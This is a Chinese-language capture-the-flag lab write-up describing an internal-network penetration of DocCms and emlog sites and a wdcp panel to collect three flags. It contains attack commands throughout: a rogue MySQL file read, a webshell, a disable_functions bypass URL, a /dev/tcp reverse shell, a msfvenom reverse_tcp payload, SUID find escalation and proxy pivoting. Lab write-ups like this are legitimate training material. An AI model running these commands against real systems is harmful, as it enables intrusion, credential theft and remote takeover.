前言
最近在做內網滲透相關姿勢點的總結,打了一些靶場,本次內網網絡拓撲圖如下所示,中等進階難度。
測試過程
0x1:信息搜集
訪問域名:
對域名解析的ip進行端口掃描:
nmap -sS --open -Pn -p- -v 192.168.0.122
對網站進行目錄掃描和指紋識別發現網站使用的是DocCms 2016 x1.
0x2:漏洞利用
網上搜索doccms 2016歷史漏洞,說搜索功能處參數keyword存在sql注入,使用url二次編碼進行繞過。
成功獲取到網站admin賬號密碼但無法進行解密:
從網上下載源碼,發現/setup/checkdb.php文件可以連接遠程的MySQL,所以可以利用mysql的bug讀取文件。
使用Rogue-MySql-Server讀取文件:
http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.0.109&action=chkdb 這里獲取到了網站的物理路徑。
查看mysql.log文件,成功讀取到/etc/passwd:
修改server.py文件中讀取文件的路徑為:
/www/wwwroot/www.ddd4.com/config/doc-config-cn.php
再次查看mysql.log獲取到數據庫名稱、用戶名、密碼:
www_ddd4.com
www_ddd4_com
x4ix6ZrM7b8nFYHn
前面端口掃描發現目標機器的3306端口是開放的,直接進行連接:
連接成功后,替換網站管理員admin賬戶的密碼,查看admin/login.php,發現對密碼使用加密算法進行了加密。
我們來使用加密算法class.docencryption.php,對123456進行加密。
4a8dq8y3e7c4a8d09csy9520943dcl64943941se10adc394ujba59abbe5ne057xf20f8y3e7cpwd將加密后的值進行替換。
使用密碼123456登錄到后臺:
通過網站查找歷史漏洞,可以使用模版來getshell:
這里剛開始寫入普通的一句話木馬,使用蟻劍連接,顯示為空,但是查看phpinfo文件并沒有將eval函數寫入到disable_function當中,換了冰蝎可以連接成功。
但是無法執行命令,查看disable_function,禁用了很多函數。
這里使用腳本進行繞過,將文件夾里的.so文件與.php文件上傳到網站的目錄下面:
然后訪問執行命令:
http://www.ddd4.com/bypass_disablefunc.php?cmd=id&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
直接使用sh反彈shell,反彈成功但是執行命令無反應:
/bin/sh -i >& /dev/tcp/192.168.0.2/3333 0>&1
使用matespolite生成木馬文件:
msfvenom -p
linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 -f elf >
/home/kali/Desktop/haha
將木馬文件上傳到目標主機,賦權后執行:
msf返回一個meterpreter
使用Python/ target=_blank class=infotextkey>Python返回一個交互式shell
查看文件獲取到第一個flag
0x3:提權
使用find進行提權
使用命令find / -type f -perm -u=s 2>/dev/null 發現可以利用find命令來進行提權:
find . -exec whoami ; -quit 提權成功:
寶塔提權
翻看文件發現寶塔的賬戶密碼:
登錄到寶塔上,使用計劃任務進行提權:
成功獲取到第二個flag:
0x4:內網滲透
使用現在的root權限的shell來運行前面我們生產的木馬文件,來獲取一個meterpreter。
查看路由和hosts文件,發現存在10.10.10.144主機:
添加路由:
Run autoroute -s 10.10.10.0/24
Run autoroute -p
設置代理:
可以訪問http://10.10.10.145:8888說明代理搭建成功。
使用msf自帶的模塊對10.10.10.144進行端口掃描,發現開放了21、22、80、8080端口:
瀏覽器代理訪問www.ddd5.com弱口令進入后臺,此站點使用的是emlog,網上搜索歷史漏洞,發現后臺可以通過上傳模版來getshell。
從網上下載一個emlog模版,然后在文件里新建一個php一句話。
然后將壓縮文件進行上傳安裝:
上傳成功后,一句話文件的位置為
/content/templates/beginning/haha.php。
http://www.ddd5.com/content/templates/beginning/haha.php?cmd=id來執行系統命令。
訪問8080端口:
使用默認密碼wdlinux.cn無法登錄,對目錄掃描發現存在phpmyadmin使用默認密碼登錄成功,查看wdcpdb數據庫,獲取到admin用戶的密碼。
對密碼進行md5解密獲取到明文密碼:
使用密碼進行登錄,發現顯示登錄超時,網上說是時間不同步導致的。
使用前面的一句話來查看系統當前的時間:
因為權限不夠,無法修改目標機器的時間,但可以修改自己本地系統時間然后成功登錄。
搜索wdcp利用方法,發現可以執行系統命令,當前用戶為root。
但是無法使用bash進行反彈,然后考慮的是使用msfvenoom生產一個正向的木馬文件,然后執行木馬文件來上線msf,最后發現也是不行被攔截。
在安全管理-->ssh管理處生成密碼,并將密鑰下載下來:
利用proxychains使用ssh直接連接獲取第三個falg。
總結
在測試過中發現,doccms后臺也可以使用寫入配置文件來拿shell,然后在繞過disable_functions 時,剛開始想的是直接使用蟻劍的插件來繞過,但失敗了,只好手工來繞過disable_functions,也學習了WDCP的利用方法。